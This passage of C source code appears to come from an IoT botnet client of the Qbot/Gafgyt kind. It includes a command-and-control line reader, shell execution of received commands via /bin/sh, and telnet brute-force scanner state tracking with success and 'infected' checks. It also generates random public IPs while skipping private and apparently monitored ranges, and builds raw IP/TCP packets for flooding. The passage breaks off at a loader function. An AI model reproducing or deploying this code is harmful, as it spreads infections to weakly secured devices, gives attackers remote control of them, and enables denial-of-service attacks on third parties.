  134. void init_rand(uint32_t x)
  135. {
  136.         int i;
  137.  
  138.         Q[0] = x;
  139.         Q[1] = x + PHI;
  140.         Q[2] = x + PHI + PHI;
  141.  
  142.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  143. }
  144.  
  145. uint32_t rand_cmwc(void)
  146. {
  147.         uint64_t t, a = 18782LL;
  148.         static uint32_t i = 4095;
  149.         uint32_t x, r = 0xfffffffe;
  150.         i = (i + 1) & 4095;
  151.         t = a * Q[i] + c;
  152.         c = (uint32_t)(t >> 32);
  153.         x = t + c;
  154.         if (x < c) {
  155.                 x++;
  156.                 c++;
  157.         }
  158.         return (Q[i] = r - x);
  159. }
  160.  
  161. void trim(char *str)
  162. {
  163.         int i;
  164.         int begin = 0;
  165.         int end = strlen(str) - 1;
  166.  
  167.         while (isspace(str[begin])) begin++;
  168.  
  169.         while ((end >= begin) && isspace(str[end])) end--;
  170.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  171.  
  172.         str[i - begin] = '\0';
  173. }
  174.  
  175. static void printchar(unsigned char **str, int c)
  176. {
  177.         if (str) {
  178.                 **str = c;
  179.                 ++(*str);
  180.         }
  181.         else (void)write(1, &c, 1);
  182. }
  183.  
  184. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  185. {
  186.         register int pc = 0, padchar = ' ';
  187.  
  188.         if (width > 0) {
  189.                 register int len = 0;
  190.                 register const unsigned char *ptr;
  191.                 for (ptr = string; *ptr; ++ptr) ++len;
  192.                 if (len >= width) width = 0;
  193.                 else width -= len;
  194.                 if (pad & PAD_ZERO) padchar = '0';
  195.         }
  196.         if (!(pad & PAD_RIGHT)) {
  197.                 for ( ; width > 0; --width) {
  198.                         printchar (out, padchar);
  199.                         ++pc;
  200.                 }
  201.         }
  202.         for ( ; *string ; ++string) {
  203.                 printchar (out, *string);
  204.                 ++pc;
  205.         }
  206.         for ( ; width > 0; --width) {
  207.                 printchar (out, padchar);
  208.                 ++pc;
  209.         }
  210.  
  211.         return pc;
  212. }
  213.  
  214. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  215. {
  216.         unsigned char print_buf[PRINT_BUF_LEN];
  217.         register unsigned char *s;
  218.         register int t, neg = 0, pc = 0;
  219.         register unsigned int u = i;
  220.  
  221.         if (i == 0) {
  222.                 print_buf[0] = '0';
  223.                 print_buf[1] = '\0';
  224.                 return prints (out, print_buf, width, pad);
  225.         }
  226.  
  227.         if (sg && b == 10 && i < 0) {
  228.                 neg = 1;
  229.                 u = -i;
  230.         }
  231.  
  232.         s = print_buf + PRINT_BUF_LEN-1;
  233.         *s = '\0';
  234.  
  235.         while (u) {
  236.                 t = u % b;
  237.                 if( t >= 10 )
  238.                 t += letbase - '0' - 10;
  239.                 *--s = t + '0';
  240.                 u /= b;
  241.         }
  242.  
  243.         if (neg) {
  244.                 if( width && (pad & PAD_ZERO) ) {
  245.                         printchar (out, '-');
  246.                         ++pc;
  247.                         --width;
  248.                 }
  249.                 else {
  250.                         *--s = '-';
  251.                 }
  252.         }
  253.  
  254.         return pc + prints (out, s, width, pad);
  255. }
  256.  
  257. static int print(unsigned char **out, const unsigned char *format, va_list args )
  258. {
  259.         register int width, pad;
  260.         register int pc = 0;
  261.         unsigned char scr[2];
  262.  
  263.         for (; *format != 0; ++format) {
  264.                 if (*format == '%') {
  265.                         ++format;
  266.                         width = pad = 0;
  267.                         if (*format == '\0') break;
  268.                         if (*format == '%') goto out;
  269.                         if (*format == '-') {
  270.                                 ++format;
  271.                                 pad = PAD_RIGHT;
  272.                         }
  273.                         while (*format == '0') {
  274.                                 ++format;
  275.                                 pad |= PAD_ZERO;
  276.                         }
  277.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  278.                                 width *= 10;
  279.                                 width += *format - '0';
  280.                         }
  281.                         if( *format == 's' ) {
  282.                                 register char *s = (char *)va_arg( args, int );
  283.                                 pc += prints (out, s?s:"(null)", width, pad);
  284.                                 continue;
  285.                         }
  286.                         if( *format == 'd' ) {
  287.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  288.                                 continue;
  289.                         }
  290.                         if( *format == 'x' ) {
  291.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  292.                                 continue;
  293.                         }
  294.                         if( *format == 'X' ) {
  295.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  296.                                 continue;
  297.                         }
  298.                         if( *format == 'u' ) {
  299.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  300.                                 continue;
  301.                         }
  302.                         if( *format == 'c' ) {
  303.                                 scr[0] = (unsigned char)va_arg( args, int );
  304.                                 scr[1] = '\0';
  305.                                 pc += prints (out, scr, width, pad);
  306.                                 continue;
  307.                         }
  308.                 }
  309.                 else {
  310. out:
  311.                         printchar (out, *format);
  312.                         ++pc;
  313.                 }
  314.         }
  315.         if (out) **out = '\0';
  316.         va_end( args );
  317.         return pc;
  318. }
  319.  
  320. int zprintf(const unsigned char *format, ...)
  321. {
  322.         va_list args;
  323.         va_start( args, format );
  324.         return print( 0, format, args );
  325. }
  326.  
  327. int szprintf(unsigned char *out, const unsigned char *format, ...)
  328. {
  329.         va_list args;
  330.         va_start( args, format );
  331.         return print( &out, format, args );
  332. }
  333.  
  334.  
  335. int sockprintf(int sock, char *formatStr, ...)
  336. {
  337.         unsigned char *textBuffer = malloc(2048);
  338.         memset(textBuffer, 0, 2048);
  339.         char *orig = textBuffer;
  340.         va_list args;
  341.         va_start(args, formatStr);
  342.         print(&textBuffer, formatStr, args);
  343.         va_end(args);
  344.         orig[strlen(orig)] = '\n';
  345.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  346.         free(orig);
  347.         return q;
  348. }
  349.  
  350. static int *fdopen_pids;
  351.  
  352. int fdpopen(unsigned char *program, register unsigned char *type)
  353. {
  354.         register int iop;
  355.         int pdes[2], fds, pid;
  356.  
  357.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  358.  
  359.         if (pipe(pdes) < 0) return -1;
  360.         if (fdopen_pids == NULL) {
  361.                 if ((fds = getdtablesize()) <= 0) return -1;
  362.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  363.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  364.         }
  365.  
  366.         switch (pid = vfork())
  367.         {
  368.         case -1:
  369.                 close(pdes[0]);
  370.                 close(pdes[1]);
  371.                 return -1;
  372.         case 0:
  373.                 if (*type == 'r') {
  374.                         if (pdes[1] != 1) {
  375.                                 dup2(pdes[1], 1);
  376.                                 close(pdes[1]);
  377.                         }
  378.                         close(pdes[0]);
  379.                 } else {
  380.                         if (pdes[0] != 0) {
  381.                                 (void) dup2(pdes[0], 0);
  382.                                 (void) close(pdes[0]);
  383.                         }
  384.                         (void) close(pdes[1]);
  385.                 }
  386.                 execl("/bin/sh", "sh", "-c", program, NULL);
  387.                 _exit(127);
  388.         }
  389.         if (*type == 'r') {
  390.                 iop = pdes[0];
  391.                 (void) close(pdes[1]);
  392.         } else {
  393.                 iop = pdes[1];
  394.                 (void) close(pdes[0]);
  395.         }
  396.         fdopen_pids[iop] = pid;
  397.         return (iop);
  398. }
  399.  
  400. int fdpclose(int iop)
  401. {
  402.         register int fdes;
  403.         sigset_t omask, nmask;
  404.         int pstat;
  405.         register int pid;
  406.  
  407.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  408.         (void) close(iop);
  409.         sigemptyset(&nmask);
  410.         sigaddset(&nmask, SIGINT);
  411.         sigaddset(&nmask, SIGQUIT);
  412.         sigaddset(&nmask, SIGHUP);
  413.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  414.         do {
  415.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  416.         } while (pid == -1 && errno == EINTR);
  417.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  418.         fdopen_pids[fdes] = 0;
  419.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  420. }
  421.  
  422. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  423. {
  424.         int got = 1, total = 0;
  425.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  426.         return got == 0 ? NULL : buffer;
  427. }
  428.  
  429. static const long hextable[] = {
  430.         [0 ... 255] = -1,
  431.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  432.         ['A'] = 10, 11, 12, 13, 14, 15,
  433.         ['a'] = 10, 11, 12, 13, 14, 15
  434. };
  435.  
  436. long parseHex(unsigned char *hex)
  437. {
  438.         long ret = 0;
  439.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  440.         return ret;
  441. }
  442.  
  443. int wildString(const unsigned char* pattern, const unsigned char* string) {
  444.         switch(*pattern)
  445.         {
  446.         case '\0': return *string;
  447.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  448.         case '?': return !(*string && !wildString(pattern+1, string+1));
  449.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  450.         }
  451. }
  452.  
  453. int getHost(unsigned char *toGet, struct in_addr *i)
  454. {
  455.         struct hostent *h;
  456.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  457.         return 0;
  458. }
  459.  
  460. void uppercase(unsigned char *str)
  461. {
  462.         while(*str) { *str = toupper(*str); str++; }
  463. }
  464.  
  465. int getBogos(unsigned char *bogomips)
  466. {
  467.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  468.         char linebuf[4096];
  469.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  470.         {
  471.                 uppercase(linebuf);
  472.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  473.                 {
  474.                         unsigned char *pos = linebuf + 8;
  475.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  476.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  477.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  478.                         strcpy(bogomips, pos);
  479.                         close(cmdline);
  480.                         return 0;
  481.                 }
  482.                 memset(linebuf, 0, 4096);
  483.         }
  484.         close(cmdline);
  485.         return 1;
  486. }
  487.  
  488. int getCores()
  489. {
  490.         int totalcores = 0;
  491.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  492.         char linebuf[4096];
  493.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  494.         {
  495.                 uppercase(linebuf);
  496.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  497.                 memset(linebuf, 0, 4096);
  498.         }
  499.         close(cmdline);
  500.         return totalcores;
  501.  
  502. }
  503.  
  504. void makeRandomStr(unsigned char *buf, int length)
  505. {
  506.         int i = 0;
  507.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  508. }
  509.  
  510. int recvLine(int socket, unsigned char *buf, int bufsize)
  511. {
  512.         memset(buf, 0, bufsize);
  513.  
  514.         fd_set myset;
  515.         struct timeval tv;
  516.         tv.tv_sec = 30;
  517.         tv.tv_usec = 0;
  518.         FD_ZERO(&myset);
  519.         FD_SET(socket, &myset);
  520.         int selectRtn, retryCount;
  521.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  522.                 while(retryCount < 10)
  523.                 {
  524.                         sockprintf(mainCommSock, "PING");
  525.  
  526.                         tv.tv_sec = 30;
  527.                         tv.tv_usec = 0;
  528.                         FD_ZERO(&myset);
  529.                         FD_SET(socket, &myset);
  530.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  531.                                 retryCount++;
  532.                                 continue;
  533.                         }
  534.  
  535.                         break;
  536.                 }
  537.         }
  538.  
  539.         unsigned char tmpchr;
  540.         unsigned char *cp;
  541.         int count = 0;
  542.  
  543.         cp = buf;
  544.         while(bufsize-- > 1)
  545.         {
  546.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  547.                         *cp = 0x00;
  548.                         return -1;
  549.                 }
  550.                 *cp++ = tmpchr;
  551.                 if(tmpchr == '\n') break;
  552.                 count++;
  553.         }
  554.         *cp = 0x00;
  555.  
  556. //      zprintf("recv: %s\n", cp);
  557.  
  558.         return count;
  559. }
  560.  
  561. struct telstate_t
  562. {
  563.         int fd;
  564.         unsigned int ip;
  565.         unsigned char state;
  566.         unsigned char complete;
  567.         unsigned char usernameInd;
  568.         unsigned char passwordInd;
  569.         unsigned char tempDirInd;
  570.         unsigned int totalTimeout;
  571.         unsigned short bufUsed;
  572.         char *sockbuf;
  573. };
  574. const char* get_telstate_host(struct telstate_t* telstate)
  575. {
  576.         struct in_addr in_addr_ip;
  577.         in_addr_ip.s_addr = telstate->ip;
  578.         return inet_ntoa(in_addr_ip);
  579. }
  580.  
  581. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  582. {
  583.         int num_bytes, i;
  584.         memset(buffer, 0, buf_size);
  585.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  586.  
  587.         if(buffer[0] == 0xFF)
  588.         {
  589.                 negotiate(fd, buffer, 3);
  590.         }
  591.  
  592.         if(contains_string(buffer, strings))
  593.         {
  594.                 return 1;
  595.         }
  596.  
  597.         return 0;
  598. }
  599. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  600. {      
  601.         fd_set read_set;
  602.         struct timeval tv;
  603.         tv.tv_sec = 0;
  604.         tv.tv_usec = timeout_usec;
  605.  
  606.         FD_ZERO(&read_set);
  607.         FD_SET(fd, &read_set);
  608.  
  609.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  610.                 return 0;
  611.  
  612.         return recv(fd, buffer, buf_size, 0);
  613. }
  614. void advance_state(struct telstate_t* telstate, int new_state)
  615. {
  616.         if(new_state == 0)
  617.         {
  618.                 close(telstate->fd);
  619.         }
  620.  
  621.         telstate->totalTimeout = 0;
  622.         telstate->state = new_state;
  623.         memset((telstate->sockbuf), 0, BUFFER_SIZE);
  624. }
  625.  
  626. void reset_telstate(struct telstate_t* telstate)
  627. {
  628.         advance_state(telstate, 0);
  629.         telstate->complete = 1;
  630. }
  631. int contains_success(char* buffer)
  632. {
  633.         return contains_string(buffer, successes);
  634. }
  635. int contains_fail(char* buffer)
  636. {
  637.         return contains_string(buffer, fails);
  638. }
  639.  
  640. int contains_response(char* buffer)
  641. {
  642.         return contains_success(buffer) || contains_fail(buffer);
  643. }
  644. int contains_string(char* buffer, char** strings)
  645. {
  646.         int num_strings = 0, i = 0;
  647.  
  648.         for(num_strings = 0; strings[++num_strings] != 0; );
  649.  
  650.         for(i = 0; i < num_strings; i++)
  651.         {
  652.                 if(strcasestr(buffer, strings[i]))
  653.                 {
  654.                         return 1;
  655.                 }
  656.         }
  657.  
  658.         return 0;
  659. }
  660.  
  661.  
  662. int contains_infectmessage(char* buffer)
  663. {
  664.     return contains_string(buffer, infected);
  665. }
  666.  
  667. int connectTimeout(int fd, char *host, int port, int timeout)
  668. {
  669.         struct sockaddr_in dest_addr;
  670.         fd_set myset;
  671.         struct timeval tv;
  672.         socklen_t lon;
  673.  
  674.         int valopt;
  675.         long arg = fcntl(fd, F_GETFL, NULL);
  676.         arg |= O_NONBLOCK;
  677.         fcntl(fd, F_SETFL, arg);
  678.  
  679.         dest_addr.sin_family = AF_INET;
  680.         dest_addr.sin_port = htons(port);
  681.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  682.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  683.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  684.  
  685.         if (res < 0) {
  686.                 if (errno == EINPROGRESS) {
  687.                         tv.tv_sec = timeout;
  688.                         tv.tv_usec = 0;
  689.                         FD_ZERO(&myset);
  690.                         FD_SET(fd, &myset);
  691.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  692.                                 lon = sizeof(int);
  693.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  694.                                 if (valopt) return 0;
  695.                         }
  696.                         else return 0;
  697.                 }
  698.                 else return 0;
  699.         }
  700.  
  701.         arg = fcntl(fd, F_GETFL, NULL);
  702.         arg &= (~O_NONBLOCK);
  703.         fcntl(fd, F_SETFL, arg);
  704.  
  705.         return 1;
  706. }
  707.  
  708. int listFork()
  709. {
  710.         uint32_t parent, *newpids, i;
  711.         parent = fork();
  712.         if (parent <= 0) return parent;
  713.         numpids++;
  714.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  715.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  716.         newpids[numpids - 1] = parent;
  717.         free(pids);
  718.         pids = newpids;
  719.         return parent;
  720. }
  721.  
  722. int negotiate(int sock, unsigned char *buf, int len)
  723. {
  724.         unsigned char c;
  725.  
  726.         switch (buf[1]) {
  727.         case CMD_IAC: //opps/ return 0;
  728.         case CMD_WILL:
  729.         case CMD_WONT:
  730.         case CMD_DO:
  731.         case CMD_DONT:
  732.                 c = CMD_IAC;
  733.                 send(sock, &c, 1, MSG_NOSIGNAL);
  734.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  735.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  736.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  737.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  738.                 send(sock, &c, 1, MSG_NOSIGNAL);
  739.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  740.                 break;
  741.  
  742.         default:
  743.                 break;
  744.         }
  745.  
  746.         return 0;
  747. }
  748.  
  749. int matchPrompt(char *bufStr)
  750. {
  751.         char *prompts = ":>%$#\0";
  752.  
  753.         int bufLen = strlen(bufStr);
  754.         int i, q = 0;
  755.         for(i = 0; i < strlen(prompts); i++)
  756.         {
  757.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  758.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  759.         }
  760.  
  761.         return 0;
  762. }
  763.  
  764. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  765. {
  766.         int bufferUsed = initialIndex, got = 0, found = 0;
  767.         fd_set myset;
  768.         struct timeval tv;
  769.         tv.tv_sec = timeout;
  770.         tv.tv_usec = timeoutusec;
  771.         unsigned char *initialRead = NULL;
  772.  
  773.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  774.         {
  775.                 FD_ZERO(&myset);
  776.                 FD_SET(fd, &myset);
  777.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  778.                 initialRead = buffer + bufferUsed;
  779.                 got = recv(fd, initialRead, 1, 0);
  780.                 if(got == -1 || got == 0) return 0;
  781.                 bufferUsed += got;
  782.                 if(*initialRead == 0xFF)
  783.                 {
  784.                         got = recv(fd, initialRead + 1, 2, 0);
  785.                         if(got == -1 || got == 0) return 0;
  786.                         bufferUsed += got;
  787.                         if(!negotiate(fd, initialRead, 3)) return 0;
  788.                 } else {
  789.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  790.                 }
  791.         }
  792.  
  793.         if(found) return 1;
  794.         return 0;
  795. }
  796.  
  797. // Funcs shoutout to exile for helping me with the rest of this
  798.  
  799. tatic uint8_t ipState[5] = {0};
  800. in_addr_t getRandomPublicIP()
  801. {
  802.         //if(ipState[1] > 0 && ipState[4] < 255)
  803.         //{
  804.         //        ipState[4]++;
  805.         //        char ip[16] = {0};
  806.         //        szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  807.         //        return inet_addr(ip);
  808.         //}
  809.        
  810.         ipState[0] = rand() % 255;
  811.         ipState[1] = rand() % 255;
  812.         ipState[2] = rand() % 255;
  813.         ipState[3] = rand() % 255;
  814.  
  815.         while(
  816.                 (ipState[0] == 0) ||
  817.                 (ipState[0] == 10) ||
  818.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  819.                 (ipState[0] == 127) ||
  820.                 (ipState[0] == 169 && ipState[1] == 254) ||
  821.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  822.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  823.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  824.                 (ipState[0] == 192 && ipState[1] == 168) ||
  825.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  826.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  827.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  828.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  829.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  830.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  831.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  832.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  833.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  834.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  835.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
  836.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  837.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  838.                 (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  839.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  840.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  841.                 (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  842.                 (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  843.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  844.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  845.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  846.                 (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  847.                 (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  848.                 (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  849.                 (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  850.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  851.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  852.                 (ipState[0] == 208 && ipState[1] == 67) ||
  853.                 (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  854.                 (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  855.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  856.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  857.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  858.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  859.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  860.                 (ipState[0] >= 224)
  861.             )
  862.         {
  863.                 ipState[0] = rand() % 255;
  864.                 ipState[1] = rand() % 255;
  865.                 ipState[2] = rand() % 255;
  866.                 ipState[3] = rand() % 255;
  867.         }
  868.  
  869.         char ip[16] = {0};
  870.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  871.         return inet_addr(ip);
  872. }
  873.  
  874. in_addr_t getRandomPublicIP2()
  875. {
  876.         int range = rand() % (sizeof(oldranges)/sizeof(char *));
  877.         ipState[0] = oldranges[range];
  878.         ipState[1] = oldranges2[range];
  879.         ipState[2] = rand() % 255;
  880.         ipState[3] = rand() % 255;
  881.         char ip[16] = {0};
  882.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  883.         return inet_addr(ip);
  884. }
  885.  
  886. in_addr_t getRandomPublicIPA()
  887. {
  888.         int range = rand() % (sizeof(rangesA)/sizeof(char *));
  889.         ipState[0] = rangesA[range];
  890.         ipState[1] = rand() % 255;
  891.         ipState[2] = rand() % 255;
  892.         ipState[3] = rand() % 255;
  893.         char ip[16] = {0};
  894.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  895.         return inet_addr(ip);
  896. }
  897.  
  898. in_addr_t getRandomPublicIPB()
  899. {
  900.         int range = rand() % (sizeof(rangesB1)/sizeof(char *));
  901.         ipState[0] = rangesB1[range];
  902.         ipState[1] = rangesB2[range];
  903.         ipState[2] = rand() % 255;
  904.         ipState[3] = rand() % 255;
  905.         char ip[16] = {0};
  906.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  907.         return inet_addr(ip);
  908. }
  909.  
  910. in_addr_t getRandomPublicIPC()
  911. {
  912.         int range = rand() % (sizeof(rangesC1)/sizeof(char *));
  913.         ipState[0] = rangesC1[range];
  914.         ipState[1] = rangesC2[range];
  915.         ipState[2] = rangesC3[range];
  916.         ipState[3] = rand() % 255;
  917.         char ip[16] = {0};
  918.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  919.         return inet_addr(ip);
  920. }
  921.  
  922.  
  923. in_addr_t findARandomIP()
  924. {
  925.     if(rangechoice < 1 || rangechoice > 5){
  926.         return getRandomPublicIP();
  927.     }else{
  928.         if(rangechoice == 1){
  929.             return getRandomPublicIP2();
  930.         }else if(rangechoice == 2){
  931.             return getRandomPublicIPA();
  932.         }else if(rangechoice == 3){
  933.             return getRandomPublicIPB();
  934.         }else if(rangechoice == 4){
  935.             return getRandomPublicIPC();
  936.         }else{
  937.             return getRandomPublicIP();
  938.         }
  939.     }
  940. }
  941.  
  942. in_addr_t getRandomIP(in_addr_t netmask)
  943. {
  944.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  945.         return tmp ^ ( rand_cmwc() & ~netmask);
  946. }
  947.  
  948. unsigned short csum (unsigned short *buf, int count)
  949. {
  950.         register uint64_t sum = 0;
  951.         while( count > 1 ) { sum += *buf++; count -= 2; }
  952.         if(count > 0) { sum += *(unsigned char *)buf; }
  953.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  954.         return (uint16_t)(~sum);
  955. }
  956.  
  957. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  958. {
  959.  
  960.         struct tcp_pseudo
  961.         {
  962.                 unsigned long src_addr;
  963.                 unsigned long dst_addr;
  964.                 unsigned char zero;
  965.                 unsigned char proto;
  966.                 unsigned short length;
  967.         } pseudohead;
  968.         unsigned short total_len = iph->tot_len;
  969.         pseudohead.src_addr=iph->saddr;
  970.         pseudohead.dst_addr=iph->daddr;
  971.         pseudohead.zero=0;
  972.         pseudohead.proto=IPPROTO_TCP;
  973.         pseudohead.length=htons(sizeof(struct tcphdr));
  974.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  975.         unsigned short *tcp = malloc(totaltcp_len);
  976.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  977.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  978.         unsigned short output = csum(tcp,totaltcp_len);
  979.         free(tcp);
  980.         return output;
  981. }
  982.  
  983. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  984. {
  985.         iph->ihl = 5;
  986.         iph->version = 4;
  987.         iph->tos = 0;
  988.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  989.         iph->id = rand_cmwc();
  990.         iph->frag_off = 0;
  991.         iph->ttl = MAXTTL;
  992.         iph->protocol = protocol;
  993.         iph->check = 0;
  994.         iph->saddr = source;
  995.         iph->daddr = dest;
  996. }
  997.  
  998. int sclose(int fd)
  999. {
  1000.         if(3 > fd) return 1;
  1001.         close(fd);
  1002.         return 0;
  1003. }
  1004. int socket_connect(char *host, in_port_t port){
  1005.         struct hostent *hp;
  1006.         struct sockaddr_in addr;
  1007.         int on = 1, sock;    
  1008.  
  1009.         if((hp = gethostbyname(host)) == NULL){
  1010.                 herror("gethostbyname");
  1011.                 exit(1);
  1012.         }
  1013.         bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1014.         addr.sin_port = htons(port);
  1015.         addr.sin_family = AF_INET;
  1016.         sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1017.         setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1018.  
  1019.         if(sock == -1){
  1020.                 perror("setsockopt");
  1021.                 exit(1);
  1022.         }
  1023.        
  1024.         if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
  1025.                 perror("connect");
  1026.                 exit(1);
  1027.  
  1028.         }
  1029.         return sock;
  1030. }
  1031.  
  1032. void echoLoader()
  1033. {
  1034.         char buffer[BUFFER_SIZE];
